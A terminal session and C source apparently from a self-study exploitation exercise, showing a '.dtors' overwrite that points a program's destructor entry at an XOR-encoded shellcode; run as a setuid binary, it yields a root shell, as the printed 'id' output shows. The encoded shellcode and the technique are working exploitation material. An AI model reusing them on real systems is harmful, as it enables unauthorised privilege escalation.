user@kototama:~/Hacking/Code/BO/Heap$ su
Password: 
kototama:/home/user/Hacking/Code/BO/Heap# gcc dtors_exploited.c 
kototama:/home/user/Hacking/Code/BO/Heap# chmod +s a.out
kototama:/home/user/Hacking/Code/BO/Heap# exit
user@kototama:~/Hacking/Code/BO/Heap$ cat dtors_exploited.c 

/**
 * dtors exploitation example
 * 
 * Kototama
 * 
 */
#include <stdio.h>
#include <stdlib.h>

/* forged by shellforge, Philippe Biondi */

unsigned char sc[] = 
"\xeb\x0d\x5e\x31\xc9\xb1\x57\x80\x36\x01\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff"
"\xff\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x82\xc2\xf3"
"\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x4e\x01\x01\x01\x88\x7c\xf9\xb9\x47\x01"
"\x01\x01\x30\xc8\x52\xba\x01\x01\x01\x01\xcc\x81\x5a\x8c\x44\xf9\x88\x44\xf5"
"\xbf\x0a\x01\x01\x01\x88\xf1\x8a\x4c\xf5\x30\xd3\x52\x88\xfa\xcc\x81\x5a\x5a"
"\x5f\x5e\xc8\xc2\x2e\x63\x68\x6f\x2e\x72\x69\x01";


int main (int argc, char **argv)
{
	unsigned int *ptr = (unsigned int *) 0x08049700;
	
	printf("dtors  = %x\n", *(ptr+1));
	*(ptr+1) = (unsigned int) sc;

	printf("dtors = %x\n", *(ptr+1));
	
	return 0;
}
user@kototama:~/Hacking/Code/BO/Heap$ ./a.out 
dtors  = 0
dtors = 80495c0
sh-2.05a# id
uid=0(root) gid=1000(user) egid=0(root) groups=1000(user),29(audio),1001(video)
sh-2.05a#